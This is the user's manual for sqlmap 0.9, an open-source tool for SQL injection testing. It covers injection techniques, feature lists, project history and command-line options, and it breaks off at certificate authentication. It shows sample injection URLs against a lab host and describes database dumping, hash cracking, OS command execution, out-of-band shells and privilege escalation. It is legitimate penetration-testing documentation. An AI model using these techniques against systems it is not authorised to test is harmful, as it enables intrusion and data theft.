sqlmap user's manual

by Bernardo Damele A. G. , Miroslav Stampar version 0.9, March 10, 2011

This document is the user's manual to use sqlmap .

Contents

1 Introduction

sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a kick-ass detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.

1.1 Requirements

sqlmap is developed in Python , a dynamic object-oriented interpreted programming language. This makes the tool independent from the operating system. It only requires the Python interpreter version equal or higher than **2.6**. The interpreter is freely downloadable from its official site . To make it even easier, many GNU/Linux distributions come out of the box with Python interpreter installed and other Unices and Mac OSX too provide it packaged in their formats and ready to be installed. Windows users can download and install the Python setup-ready installer for x86, AMD64 and Itanium too.

sqlmap relies on the Metasploit Framework for some of its post-exploitation takeover features. You need to grab a copy of it from the download page - the required version is **3.5** or higher. For the ICMP tunneling out-of-band takeover technique, sqlmap requires Impacket library too.

If you are willing to connect directly to a database server (`-d` switch), without passing via a web application, you need to install Python bindings for the database management system that you are going to attack:

- Firebird: python-kinterbasdb .
- Microsoft Access: python-pyodbc .
- Microsoft SQL Server: python-pymssql .

- MySQL: python-mysqldb .
- Oracle: python cx_ Oracle .
- PostgreSQL: python-psycopg2 .
- SQLite: python-pysqlite2 .
- Sybase: python-pymssql .

If you plan to attack a web application behind NTLM authentication or use the sqlmap update functionality (`--update` switch) you need to install respectively python-ntlm and python-svn libraries.

Optionally, if you are running sqlmap on Windows, you may wish to install PyReadline library to be able to take advantage of the sqlmap TAB completion and history support features in the SQL shell and OS shell. Note that these functionalities are available natively by Python standard readline library on other operating systems.

You can also choose to install Psyco library to eventually speed up the sqlmap algorithmic operations.

1.2 Scenario

1.2.1 Detect and exploit a SQL injection

Let's say that you are auditing a web application and found a web page that accepts dynamic user-provided values on `GET` or `POST` parameters or HTTP `Cookie` values or HTTP `User-Agent` header value. You now want to test if these are affected by a SQL injection vulnerability, and if so, exploit them to retrieve as much information as possible out of the web application's back-end database management system or even be able to access the underlying file system and operating system.

In a simple world, consider that the target url is:

```
http://192.168.136.131/sqlmap/mysql/get_int.php?id=1
```

Assume that:

```
http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=1
```

is the same page as the original one and:

```
http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=2
```

differs from the original one, it means that you are in front of a SQL injection vulnerability in the `id` `GET` parameter of the `index.php` web application page which means that potentially no IDS/IPS, no web application firewall, no parameters' value sanitization is performed on the server-side before sending the SQL statement to the back-end database management system the web application relies on.

This is a quite common flaw in dynamic content web applications and it does not depend upon the back-end database management system nor on the web application programming language: it is a programmer code's security flaw. The Open Web Application Security Project rated on 2010 in their OWASP Top Ten survey this vulnerability as the most common and important web application vulnerability along with other injection flaws.

Back to the scenario, probably the SQL `SELECT` statement into `get_int.php` has a syntax similar to the following SQL query, in pseudo PHP code:

```
$query = "SELECT [column(s) name] FROM [table name] WHERE id=" .  $_REQUEST['id'];
```

As you can see, appending any other syntatically valid SQL condition after a value for `id` such condition will take place when the web application passes the query to the back-end database management system that executes it, that is why the condition `id=1 AND 1=1` is valid (*True*) and returns the same page as the original one, with the same content. This is the case of a boolean-based blind SQL injection vulnerability. However, sqlmap is able to detect any type of SQL injection and adapt its work-flow accordingly. Read below for further details.

Moreover, in this simple and easy to inject scenario it would be also possible to append, not just one or more valid SQL condition(s), but also stacked SQL queries, for instance something like `[...]&id=1; ANOTHER SQL QUERY#` if the web application technology supports *stacked queries*, also known as *multiple statements*.

Now that you found this SQL injection vulnerable parameter, you can exploit it by manipulating the `id` parameter value in the HTTP request.

There exist many resources on the Net explaining in depth how to prevent, detect and exploit SQL injection vulnerabilities in web application and it is recommended to read them if you are not familiar with the issue before going ahead with sqlmap.

Passing the original address, `http://192.168.136.131/sqlmap/mysql/get_int.php?id=1` to sqlmap, the tool will automatically:

- Identify the vulnerable parameter(s) (`id` in this example);
- Identify which SQL injection techniques can be used to exploit the vulnerable parameter(s);
- Fingerprint the back-end database management system;
- Depending on the user's options, it will extensively fingerprint, enumerate data or takeover the database server as a whole.

1.2.2 Direct connection to the database management system

Up until sqlmap version **0.8**, the tool has been *yet another SQL injection tool*, used by web application penetration testers/newbies/curious teens/computer addicted/punks and so on. Things move on and as they evolve, we do as well. Now it supports this new switch, `-d`, that allows you to connect from your machine to the database server's TCP port where the database management system daemon is listening on and perform any operation you would do while using it to attack a database via a SQL injection vulnerability.

1.3 Techniques

sqlmap is able to detect and exploit five different SQL injection *types*:

- **Boolean-based blind SQL injection**, also known as **inferential SQL injection**: sqlmap replaces or appends to the affected parameter in the HTTP request, a syntatically valid SQL statement string containing a `SELECT` sub-statement, or any other SQL statement whose the user want to retrieve the output. For each HTTP response, by making a comparison between the HTTP response headers/body with the original request, the tool inference the output of the injected statement character by character. Alternatively, the user can provide a string or regular expression to match on True pages. The bisection algorithm implemented in sqlmap to perform this technique is able to fetch each character of the output with a maximum of seven HTTP requests. Where the output is not within the clear-text plain charset, sqlmap will adapt the algorithm with bigger ranges to detect the output.

- **Time-based blind SQL injection**, also known as **full blind SQL injection**: sqlmap replaces or appends to the affected parameter in the HTTP request, a syntatically valid SQL statement string containing a query which put on hold the back-end DBMS to return for a certain number of seconds. For each HTTP response, by making a comparison between the HTTP response time with the original request, the tool inference the output of the injected statement character by character. Like for boolean-based technique, the bisection algorithm is applied.
- **Error-based SQL injection**: sqlmap replaces or append to the affected parameter a database-specific syntatically wrong statement and parses the HTTP response headers and body in search of DBMS error messages containing the injected pre-defined chain of characters and the statement output within. This technique works when the web application has been configured to disclose back-end database management system error messages only.
- **UNION query SQL injection**, also known as **inband SQL injection**: sqlmap appends to the affected parameter a syntatically valid SQL statement string starting with a `UNION ALL SELECT`. This techique works when the web application page passes the output of the `SELECT` statement within a `for` cycle, or similar, so that each line of the query output is printed on the page content. sqlmap is also able to exploit **partial (single entry) UNION query SQL injection** vulnerabilities which occur when the output of the statement is not cycled in a `for` construct whereas only the first entry of the query output is displayed.
- **Stacked queries SQL injection**, also known as **multiple statements SQL injection**: sqlmap tests if the web application supports stacked queries then, in case it does support, it appends to the affected parameter in the HTTP request, a semi-colon (`;`) followed by the SQL statement to be executed. This technique is useful to run SQL statements other than `SELECT` like, for instance, *data definition* or *data manipulation* statements possibly leading to file system read and write access and operating system command execution depending on the underlying back-end database management system and the session user privileges.

1.4 Demo

You can watch several demo videos, they are hosted on YouTube .

2 Features

Features implemented in sqlmap include:

2.1 Generic features

- Full support for **MySQL**, **Oracle**, **PostgreSQL**, **Microsoft SQL Server**, **Microsoft Access**, **SQLite**, **Firebird**, **Sybase** and **SAP MaxDB** database management systems.
- Full support for five SQL injection techniques: **boolean-based blind**, **time-based blind**, **error-based**, **UNION query** and **stacked queries**.
- Support to **directly connect to the database** without passing via a SQL injection, by providing DBMS credentials, IP address, port and database name.
- It is possible to provide a single target URL, get the list of targets from Burp proxy or WebScarab proxy requests log files, get the whole HTTP request from a text file or get the list of targets by providing sqlmap with a Google dork which queries Google search engine and parses its results page. You can

also define a regular-expression based scope that is used to identify which of the parsed addresses to test.

- Tests provided **GET** parameters, **POST** parameters, HTTP **Cookie** header values, HTTP **User-Agent** header value and HTTP **Referer** header value to identify and exploit SQL injection vulnerabilities. It is also possible to specify a comma-separated list of specific parameter(s) to test.
- Option to specify the **maximum number of concurrent HTTP(S) requests (multi-threading)** to speed up the blind SQL injection techniques. Vice versa, it is also possible to specify the number of seconds to hold between each HTTP(S) request. Others optimization switches to speed up the exploitation are implemented too.
- **HTTP `Cookie` header** string support, useful when the web application requires authentication based upon cookies and you have such data or in case you just want to test for and exploit SQL injection on such header values. You can also specify to always URL-encode the Cookie.
- Automatically handles **HTTP `Set-Cookie` header** from the application, re-establishing of the session if it expires. Test and exploit on these values is supported too. Vice versa, you can also force to ignore any `Set-Cookie` header.
- HTTP protocol **Basic, Digest, NTLM and Certificate authentications** support.
- **HTTP(S) proxy** support to pass by the requests to the target application that works also with HTTPS requests and with authenticated proxy servers.
- Options to fake the **HTTP `Referer` header** value and the **HTTP `User-Agent` header** value specified by user or randomly selected from a textual file.
- Support to increase the **verbosity level of output messages**: there exist **seven levels** of verbosity.
- Support to **parse HTML forms** from the target URL and forge HTTP(S) requests against those pages to test the form parameters against vulnerabilities.
- **Granularity and flexibility** in terms of both user's switches and features.
- **Estimated time of arrival** support for each query, updated in real time, to provide the user with an overview on how long it will take to retrieve the queries' output.
- Automatically saves the session (queries and their output, even if partially retrieved) on a textual file in real time while fetching the data and **resumes the injection** by parsing the session file.
- Support to read options from a configuration INI file rather than specify each time all of the switches on the command line. Support also to generate a configuration file based on the command line switches provided.
- Support to **replicate the back-end database tables structure and entries** on a local SQLite 3 database.
- Option to update sqlmap to the latest development version from the subversion repository.
- Support to parse HTTP(S) responses and display any DBMS error message to the user.
- Integration with other IT security open source projects, Metasploit and w3af .

2.2 Fingerprint and enumeration features

- **Extensive back-end database software version and underlying operating system fingerprint** based upon error messages , banner parsing , functions output comparison and specific features such as MySQL comment injection. It is also possible to force the back-end database management system name if you already know it.
- Basic web server software and web application technology fingerprint.
- Support to retrieve the DBMS **banner**, **session user** and **current database** information. The tool can also check if the session user is a **database administrator** (DBA).
- Support to enumerate **database users**, **users' password hashes**, **users' privileges**, **users' roles**, **databases**, **tables** and **columns**.
- Automatic recognition of password hashes format and support to **crack them with a dictionary-based attack**.
- Support to **brute-force tables and columns name**. This is useful when the session user has no read access over the system table containing schema information or when the database management system does not store this information anywhere (e.g. MySQL < 5.0).
- Support to **dump database tables** entirely, a range of entries or specific columns as per user's choice. The user can also choose to dump only a range of characters from each column's entry.
- Support to automatically **dump all databases**' schemas and entries. It is possibly to exclude from the dump the system databases.
- Support to **search for specific database names, specific tables across all databases or specific columns across all databases' tables**. This is useful, for instance, to identify tables containing custom application credentials where relevant columns' names contain string like *name* and *pass*.
- Support to **run custom SQL statement(s)** as in an interactive SQL client connecting to the back-end database. sqlmap automatically dissects the provided statement, determines which technique fits best to inject it and how to pack the SQL payload accordingly.

2.3 Takeover features

Some of these techniques are detailed in the white paper Advanced SQL injection to operating system full control and in the slide deck Expanding the control over the operating system from the database .

- Support to **inject custom user-defined functions**: the user can compile a shared library then use sqlmap to create within the back-end DBMS user-defined functions out of the compiled shared library file. These UDFs can then be executed, and optionally removed, via sqlmap. This is supported when the database software is MySQL or PostgreSQL.
- Support to **download and upload any file** from the database server underlying file system when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
- Support to **execute arbitrary commands and retrieve their standard output** on the database server underlying operating system when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
  - On MySQL and PostgreSQL via user-defined function injection and execution.
  - On Microsoft SQL Server via `xp_cmdshell()` stored procedure. Also, the stored procedure is re-enabled if disabled or created from scratch if removed by the DBA.

- Support to **establish an out-of-band stateful TCP connection between the attacker machine and the database server** underlying operating system. This channel can be an interactive command prompt, a Meterpreter session or a graphical user interface (VNC) session as per user's choice. sqlmap relies on Metasploit to create the shellcode and implements four different techniques to execute it on the database server. These techniques are:
  - Database **in-memory execution of the Metasploit's shellcode** via sqlmap own user-defined function `sys_bineval()`. Supported on MySQL and PostgreSQL.
  - Upload and execution of a Metasploit's **stand-alone payload stager** via sqlmap own user-defined function `sys_exec()` on MySQL and PostgreSQL or via `xp_cmdshell()` on Microsoft SQL Server.
  - Execution of Metasploit's shellcode by performing a **SMB reflection attack** (MS08-068) with a UNC path request from the database server to the attacker's machine where the Metasploit `smb_relay` server exploit listens. Supported when running sqlmap with high privileges (`uid=0`) on Linux/Unix and the target DBMS runs as Administrator on Windows.
  - Database in-memory execution of the Metasploit's shellcode by exploiting **Microsoft SQL Server 2000 and 2005 `sp_replwritetovarbin` stored procedure heap-based buffer overflow** (MS09-004). sqlmap has its own exploit to trigger the vulnerability with automatic DEP memory protection bypass, but it relies on Metasploit to generate the shellcode to get executed upon successful exploitation.
- Support for **database process' user privilege escalation** via Metasploit's `getsystem` command which include, among others, the kitrap0d technique (MS10-015).
- Support to access (read/add/delete) Windows registry hives.

3 History

3.1 2011

- **March 10**, Bernardo and Miroslav release sqlmap **0.9** featuring a totally rewritten and powerful SQL injection detection engine, the possibility to connect directly to a database server, support for time-based blind SQL injection and error-based SQL injection, support for four new database management systems and much more.

3.2 2010

- **December**, Bernardo and Miroslav have enhanced sqlmap a lot during the whole year and prepare to release sqlmap **0.9** within the first quarter of 2011.
- **June 3**, Bernardo presents a talk titled *Got database access? Own the network!* at AthCon 2010 in Athens (Greece).
- **March 14**, Bernardo and Miroslav release stable version of sqlmap **0.8** featuring many features. Amongst these, support to enumerate and dump all databases' tables containing user provided column(s), stabilization and enhancements to the takeover functionalities, updated integration with Metasploit 3.3.3 and a lot of minor features and bug fixes.
- **March**, sqlmap demo videos have been published .
- **January**, Bernardo is invited to present at AthCon conference in Greece on June 2010.

3.3 2009

- **December 18**, Miroslav Stampar replies to the call for developers. Along with Bernardo, he actively develops sqlmap from version **0.8 release candidate 2**.
- **December 12**, Bernardo writes to the mailing list a post titled sqlmap state of art - 3 years later highlighting the goals achieved during these first three years of the project and launches a call for developers.
- **December 4**, sqlmap-devel mailing list has been merged into sqlmap-users mailing list .
- **November 20**, Bernardo and Guido present again their research on stealth database server takeover at CONfidence 2009 in Warsaw, Poland.
- **September 26**, sqlmap version **0.8 release candidate 1** goes public on the subversion repository , with all the attack vectors unveiled at SOURCE Barcelona 2009 Conference. These include an enhanced version of the Microsoft SQL Server buffer overflow exploit to automatically bypass DEP memory protection, support to establish the out-of-band connection with the database server by executing in-memory the Metasploit shellcode via UDF *sys_bineval()* (anti-forensics technique), support to access the Windows registry hives and support to inject custom user-defined functions.
- **September 21**, Bernardo and Guido Landi present their research (slides) at SOURCE Conference 2009 in Barcelona, Spain.
- **August**, Bernardo is accepted as a speaker at two others IT security conferences, SOURCE Barcelona 2009 and CONfidence 2009 Warsaw . This new research is titled *Expanding the control over the operating system from the database*.
- **July 25**, stable version of sqlmap **0.7** is out!
- **June 27**, Bernardo presents an updated version of his *SQL injection: Not only AND 1=1* slides at 2nd Digital Security Forum in Lisbon, Portugal.
- **June 2**, sqlmap version **0.6.4** has made its way to the official Ubuntu repository too.
- **May**, Bernardo presents again his research on operating system takeover via SQL injection at OWASP AppSec Europe 2009 in Warsaw, Poland and at EUSecWest 2009 in London, UK.
- **May 8**, sqlmap version **0.6.4** has been officially accepted in Debian repository. Details on this blog post .
- **April 22**, sqlmap version **0.7 release candidate 1** goes public, with all the attack vectors unveiled at Black Hat Europe 2009 Conference. These include execution of arbitrary commands on the underlying operating system, full integration with Metasploit to establish an out-of-band TCP connection, first publicly available exploit for Microsoft Security Bulletin MS09-004 against Microsoft SQL Server 2000 and 2005 and others attacks to takeover the database server as a whole, not only the data from the database.
- **April 16**, Bernardo presents his research (slides , whitepaper) at Black Hat Europe 2009 in Amsterdam, The Netherlands. The feedback from the audience is good and there has been some media coverage too.
- **March 5**, Bernardo presents for the first time some of the sqlmap recent features and upcoming enhancements at an international event, Front Range OWASP Conference 2009 in Denver, USA. The presentation is titled *SQL injection: Not only AND 1=1*.
- **February 24**, Bernardo is accepted as a speaker at Black Hat Europe 2009 with a presentation titled *Advanced SQL injection exploitation to operating system full control*.

- **February 3**, sqlmap **0.6.4** is the last point release for 0.6: taking advantage of the stacked queries test implemented in 0.6.3, sqlmap can now be used to execute any arbitrary SQL statement, not only *SELECT* anymore. Also, many features have been stabilized, tweaked and improved in terms of speed in this release.
- **January 9**, Bernardo presents *SQL injection exploitation internals* at a private event in London, UK.

3.4 2008

- **December 18**, sqlmap **0.6.3** is released featuring support to retrieve targets from Burp and WebScarab proxies log files, support to test for stacked queries ant time-based blind SQL injection, rough fingerprint of the web server and web application technologies in use and more options to customize the HTTP requests and enumerate more information from the database.
- **November 2**, sqlmap version **0.6.2** is a "bug fixes" release only.
- **October 20**, sqlmap first point release, **0.6.1**, goes public. This includes minor bug fixes and the first contact between the tool and Metasploit : an auxiliary module to launch sqlmap from within Metasploit Framework. The subversion development repository goes public again.
- **September 1**, nearly one year after the previous release, sqlmap **0.6** comes to life featuring a complete code refactoring, support to execute arbitrary SQL *SELECT* statements, more options to enumerate and dump specific information are added, brand new installation packages for Debian, Red Hat, Windows and much more.
- **August**, two public mailing lists are created on SourceForge.
- **January**, sqlmap subversion development repository is moved away from SourceForge and goes private for a while.

3.5 2007

- **November 4**, release **0.5** marks the end of the OWASP Spring of Code 2007 contest participation. Bernardo has accomplished all the propsed objects which include also initial support for Oracle, enhanced support for UNION query SQL injection and support to test and exploit SQL injections in HTTP Cookie and User-Agent headers.
- **June 15**, Bernardo releases version **0.4** as a result of the first OWASP Spring of Code 2007 milestone. This release features, amongst others, improvements to the DBMS fingerprint engine, support to calculate the estimated time of arrival, options to enumerate specific data from the database server and brand new logging system.
- **April**, even though sqlmap was **not** and is **not** an OWASP project, it gets accepted , amongst many other open source projects to OWASP Spring of Code 2007.
- **March 30**, Bernardo applies to OWASP Spring of Code 2007 .
- **January 20**, sqlmap version **0.3** is released, featuring initial support for Microsoft SQL Server, support to test and exploit UNION query SQL injections and injection points in POST parameters.

3.6 2006

- **December 13**, Bernardo releases version **0.2** with major enhancements to the DBMS fingerprint functionalities and replacement of the old inference algorithm with the bisection algorithm.
- **September**, Daniele leaves the project, Bernardo Damele A. G. takes it over.
- **August**, Daniele adds initial support for PostgreSQL and releases version **0.1**.
- **July 25**, Daniele Bellucci registers the sqlmap project on SourceForge and develops it on the SourceForge subversion repository . The skeleton is implemented and limited support for MySQL added.

4 Download and update

sqlmap can be downloaded from its SourceForge File List page . It is available in two formats:

- Source gzip compressed .
- Source zip compressed .

You can also checkout the latest development version from the subversion repository:

```
$ svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
```

You can update it at any time to the latest development version by running:

```
$ python sqlmap.py --update
```

Or:

```
$ svn update
```

This is strongly recommended **before** reporting any bug to the mailing list .

5 Usage

```
$ python sqlmap.py -h

    sqlmap/0.9 - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

Usage: sqlmap.py [options]

Options:
  --version             show program's version number and exit
  -h, --help            show this help message and exit
  -v VERBOSE            Verbosity level: 0-6 (default 1)

  Target:
    At least one of these options has to be specified to set the source to
    get target urls from.
```

```
  -d DIRECT           Direct connection to the database
  -u URL, --url=URL   Target url
  -l LIST             Parse targets from Burp or WebScarab proxy logs
  -r REQUESTFILE      Load HTTP request from a file
  -g GOOGLEDORK       Process Google dork results as target urls
  -c CONFIGFILE       Load options from a configuration INI file

Request:
  These options can be used to specify how to connect to the target url.

  --data=DATA         Data string to be sent through POST
  --cookie=COOKIE     HTTP Cookie header
  --cookie-urlencode  URL Encode generated cookie injections
  --drop-set-cookie   Ignore Set-Cookie header from response
  --user-agent=AGENT  HTTP User-Agent header
  --random-agent      Use randomly selected HTTP User-Agent header
  --referer=REFERER   HTTP Referer header
  --headers=HEADERS   Extra HTTP headers newline separated
  --auth-type=ATYPE   HTTP authentication type (Basic, Digest or NTLM)
  --auth-cred=ACRED   HTTP authentication credentials (name:password)
  --auth-cert=ACERT   HTTP authentication certificate (key_file,cert_file)
  --proxy=PROXY       Use a HTTP proxy to connect to the target url
  --proxy-cred=PCRED  HTTP proxy authentication credentials (name:password)
  --ignore-proxy      Ignore system default HTTP proxy
  --delay=DELAY       Delay in seconds between each HTTP request
  --timeout=TIMEOUT   Seconds to wait before timeout connection (default 30)
  --retries=RETRIES   Retries when the connection timeouts (default 3)
  --scope=SCOPE       Regexp to filter targets from provided proxy log
  --safe-url=SAFURL   Url address to visit frequently during testing
  --safe-freq=SAFREQ  Test requests between two visits to a given safe url

Optimization:
  These options can be used to optimize the performance of sqlmap.

  -o                  Turn on all optimization switches
  --predict-output    Predict common queries output
  --keep-alive        Use persistent HTTP(s) connections
  --null-connection   Retrieve page length without actual HTTP response body
  --threads=THREADS   Max number of concurrent HTTP(s) requests (default 1)
  --group-concat      Use GROUP_CONCAT MySQL technique in dumping phase

Injection:
  These options can be used to specify which parameters to test for,
  provide custom injection payloads and optional tampering scripts.

  -p TESTPARAMETER    Testable parameter(s)
  --dbms=DBMS         Force back-end DBMS to this value
  --os=OS             Force back-end DBMS operating system to this value
  --prefix=PREFIX     Injection payload prefix string
  --suffix=SUFFIX     Injection payload suffix string
  --tamper=TAMPER     Use given script(s) for tampering injection data

Detection:
  These options can be used to specify how to parse and compare page
  content from HTTP responses when using blind SQL injection technique.
```

```
  --level=LEVEL       Level of tests to perform (1-5, default 1)
  --risk=RISK         Risk of tests to perform (0-3, default 1)
  --string=STRING     String to match in page when the query is valid
  --regexp=REGEXP     Regexp to match in page when the query is valid
  --text-only         Compare pages based only on their textual content

Techniques:
  These options can be used to tweak how specific SQL injection
  techniques are tested.

  --time-sec=TIMESEC  Seconds to delay the DBMS response (default 5)
  --union-cols=UCOLS  Range of columns to test for UNION query SQL injection
  --union-char=UCHAR  Character to use to bruteforce number of columns

Fingerprint:
  -f, --fingerprint   Perform an extensive DBMS version fingerprint

Enumeration:
  These options can be used to enumerate the back-end database
  management system information, structure and data contained in the
  tables. Moreover you can run your own SQL statements.

  -b, --banner        Retrieve DBMS banner
  --current-user      Retrieve DBMS current user
  --current-db        Retrieve DBMS current database
  --is-dba            Detect if the DBMS current user is DBA
  --users             Enumerate DBMS users
  --passwords         Enumerate DBMS users password hashes
  --privileges        Enumerate DBMS users privileges
  --roles             Enumerate DBMS users roles
  --dbs               Enumerate DBMS databases
  --tables            Enumerate DBMS database tables
  --columns           Enumerate DBMS database table columns
  --dump              Dump DBMS database table entries
  --dump-all          Dump all DBMS databases tables entries
  --search            Search column(s), table(s) and/or database name(s)
  -D DB               DBMS database to enumerate
  -T TBL              DBMS database table to enumerate
  -C COL              DBMS database table column to enumerate
  -U USER             DBMS user to enumerate
  --exclude-sysdbs    Exclude DBMS system databases when enumerating tables
  --start=LIMITSTART  First query output entry to retrieve
  --stop=LIMITSTOP    Last query output entry to retrieve
  --first=FIRSTCHAR   First query output word character to retrieve
  --last=LASTCHAR     Last query output word character to retrieve
  --sql-query=QUERY   SQL statement to be executed
  --sql-shell         Prompt for an interactive SQL shell

Brute force:
  These options can be used to run brute force checks.

  --common-tables     Check existence of common tables
  --common-columns    Check existence of common columns
```

```
User-defined function injection:
  These options can be used to create custom user-defined functions.

  --udf-inject        Inject custom user-defined functions
  --shared-lib=SHLIB  Local path of the shared library

File system access:
  These options can be used to access the back-end database management
  system underlying file system.

  --file-read=RFILE   Read a file from the back-end DBMS file system
  --file-write=WFILE  Write a local file on the back-end DBMS file system
  --file-dest=DFILE   Back-end DBMS absolute filepath to write to

Operating system access:
  These options can be used to access the back-end database management
  system underlying operating system.

  --os-cmd=OSCMD      Execute an operating system command
  --os-shell          Prompt for an interactive operating system shell
  --os-pwn            Prompt for an out-of-band shell, meterpreter or VNC
  --os-smbrelay       One click prompt for an OOB shell, meterpreter or VNC
  --os-bof            Stored procedure buffer overflow exploitation
  --priv-esc          Database process' user privilege escalation
  --msf-path=MSFPATH  Local path where Metasploit Framework 3 is installed
  --tmp-path=TMPPATH  Remote absolute path of temporary files directory

Windows registry access:
  These options can be used to access the back-end database management
  system Windows registry.

  --reg-read          Read a Windows registry key value
  --reg-add           Write a Windows registry key value data
  --reg-del           Delete a Windows registry key value
  --reg-key=REGKEY    Windows registry key
  --reg-value=REGVAL  Windows registry key value
  --reg-data=REGDATA  Windows registry key value data
  --reg-type=REGTYPE  Windows registry key value type

General:
  These options can be used to set some general working parameters.

  -x XMLFILE          Dump the data into an XML file
  -s SESSIONFILE      Save and resume all data retrieved on a session file
  -t TRAFFICFILE      Log all HTTP traffic into a textual file
  --flush-session     Flush session file for current target
  --eta               Display for each output the estimated time of arrival
  --update            Update sqlmap
  --save              Save options on a configuration INI file
  --batch             Never ask for user input, use the default behaviour

Miscellaneous:
  --beep              Alert when sql injection found
  --check-payload     IDS detection testing of injection payload
  --cleanup           Clean up the DBMS by sqlmap specific UDF and tables
```

```
--forms             Parse and test forms on target url
--gpage=GOOGLEPAGE  Use google dork results from specified page number
--parse-errors      Parse DBMS error messages from response pages
--replicate         Replicate dumped data into a sqlite3 database
```

5.1 Output verbosity

Switch: `-v`

This switch can be used to set the verbosity level of output messages. There exist **seven** levels of verbosity. The default level is **1** in which information, warning, error and critical messages and Python tracebacks (if any occur) will be displayed.

- **0**: Show only Python tracebacks, error and critical messages.
- **1**: Show also information and warning messages.
- **2**: Show also debug messages.
- **3**: Show also payloads injected.
- **4**: Show also HTTP requests.
- **5**: Show also HTTP responses' headers.
- **6**: Show also HTTP responses' page content.

A reasonable level of verbosity to further understand what sqlmap does under the hood is level **2**, primarily for the detection phase and the take-over functionalities. Whereas if you want to see the SQL payloads the tools sends, level **3** is your best choice. In order to further debug potential bugs or unexpected behaviours, we recommend you to set the verbosity to level **4** or above. This level is recommended to be used when you feed the developers with a bug report too.

5.2 Target

At least one of these options has to be provided.

5.2.1 Target URL

Switch: `-u` or `--url`

Run sqlmap against a single target URL. This switch requires an argument which is the target URL in the form `http(s)://targeturl[:port]/[...]`.

5.2.2 Parse targets from Burp or WebScarab proxy logs

Switch: `-l`

Rather than providing a single target URL, it is possible to test and inject against HTTP requests proxied through Burp proxy or WebScarab proxy This switch requires an argument which is the proxy's HTTP requests log file.

5.2.3 Load HTTP request from a file

Switch: `-r`

One of the possibilities of sqlmap is loading of complete HTTP request from a textual file. That way you can skip usage of bunch of other options (e.g. setting of cookies, POSTed data, etc).

Sample content of a HTTP request file provided as argument to this switch:

```
POST /sqlmap/mysql/post_int.php HTTP/1.1
Host: 192.168.136.131
User-Agent: Mozilla/4.0

id=1
```

5.2.4 Process Google dork results as target addresses

Switch: `-g`

It is also possible to test and inject on `GET` parameters on the results of your Google dork.

This option makes sqlmap negotiate with the search engine its session cookie to be able to perform a search, then sqlmap will retrieve Google first 100 results for the Google dork expression with `GET` parameters asking you if you want to test and inject on each possible affected URL.

5.2.5 Load options from a configuration INI file

Switch: `-c`

It is possible to pass user's options from a configuration INI file, an example is `sqlmap.conf`.

Note that if you also provide other options from command line, those are evaluated when running sqlmap and overwrite those provided in the configuration file.

5.3 Request

These options can be used to specify how to connect to the target url.

5.3.1 HTTP data

Option: `--data`

By default the HTTP method used to perform HTTP requests is `GET`, but you can implicitly change it to `POST` by providing the data to be sent in the `POST` requests. Such data, being those parameters, are tested for SQL injection as well as any provided `GET` parameters.

5.3.2 HTTP `Cookie` header

Switches: `--cookie`, `--drop-set-cookie` and `--cookie-urlencode`

This feature can be useful in two ways:

- The web application requires authentication based upon cookies and you have such data.
- You want to detect and exploit SQL injection on such header values.

Either reason brings you to need to send cookies with sqlmap requests, the steps to go through are the following:

- Login to the application with your favourite browser.
- Get the HTTP Cookie from the browser's preferences or from the HTTP proxy screen and copy to the clipboard.
- Go back to your shell and run sqlmap by pasting your clipboard as the argument of the `--cookie` switch.

Note that the HTTP `Cookie` header values are usually separated by a `;` character, **not** by an `&`. sqlmap can recognize these as separate sets of `parameter=value` too, as well as GET and POST parameters.

If at any time during the communication, the web application responds with `Set-Cookie` headers, sqlmap will automatically use its value in all further HTTP requests as the `Cookie` header. sqlmap will also automatically test those values for SQL injection. This can be avoided by providing the switch `--drop-set-cookie` - sqlmap will ignore any coming `Set-Cookie` header.

Vice versa, if you provide a HTTP `Cookie` header with `--cookie` switch and the target URL sends an HTTP `Set-Cookie` header at any time, sqlmap will ask you which set of cookies to use for the following HTTP requests.

sqlmap by default does **not** URL-encode generated cookie payloads, but you can force it by using the `--cookie-urlencode` switch. Cookie content encoding is not declared by HTTP protocol standard in any way, so it is solely the matter of web application's behaviour.

Note that also the HTTP `Cookie` header is tested against SQL injection if the `--level` is set to **2** or above. Read below for details.

5.3.3 HTTP `User-Agent` header

Switches: `--user-agent` and `--random-agent`

By default sqlmap performs HTTP requests with the following `User-Agent` header value:

```
sqlmap/0.9 (http://sqlmap.sourceforge.net)
```

However, it is possible to fake it with the `--user-agent` switch by providing custom User-Agent as the switch argument.

Moreover, by providing the `--random-agent` switch, sqlmap will randomly select a `User-Agent` from the `./txt/user-agents.txt` textual file and use it for all HTTP requests within the session.

Some sites perform a server-side check on the HTTP `User-Agent` header value and fail the HTTP response if a valid `User-Agent` is not provided, its value is not expected or is blacklisted by a web application firewall or similar intrusion prevention system. In this case sqlmap will show you a message as follows:

```
[hh:mm:20] [ERROR] the target url responded with an unknown HTTP status code, try to
force the HTTP User-Agent header with option --user-agent or --random-agent
```

Note that also the HTTP `User-Agent` header is tested against SQL injection if the `--level` is set to **3** or above. Read below for details.

5.3.4 HTTP `Referer` header

Switch: `--referer`

It is possible to fake the HTTP `Referer` header value. By default **no** HTTP `Referer` header is sent in HTTP requests if not explicitly set.

Note that also the HTTP `Referer` header is tested against SQL injection if the `--level` is set to **3** or above. Read below for details.

5.3.5 Extra HTTP headers

Switch: `--headers`

It is possible to provide extra HTTP headers by setting the `--headers` switch. Each header must be separated by a newline and it is much easier to provide them from the configuration INI file. Have a look at the sample `sqlmap.conf` file for an example.

5.3.6 HTTP protocol authentication

Switches: `--auth-type` and `--auth-cred`

These options can be used to specify which HTTP protocol authentication the web server implements and the valid credentials to be used to perform all HTTP requests to the target application.

The three supported HTTP protocol authentication mechanisms are:

- `Basic`
- `Digest`
- `NTLM`

While the credentials' syntax is `username:password`.

Example of valid syntax:

```
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" \
  --auth-type Basic --auth-cred "testuser:testpass"
```

5.3.7 HTTP protocol certificate authentication

Switch: `--auth-cert`

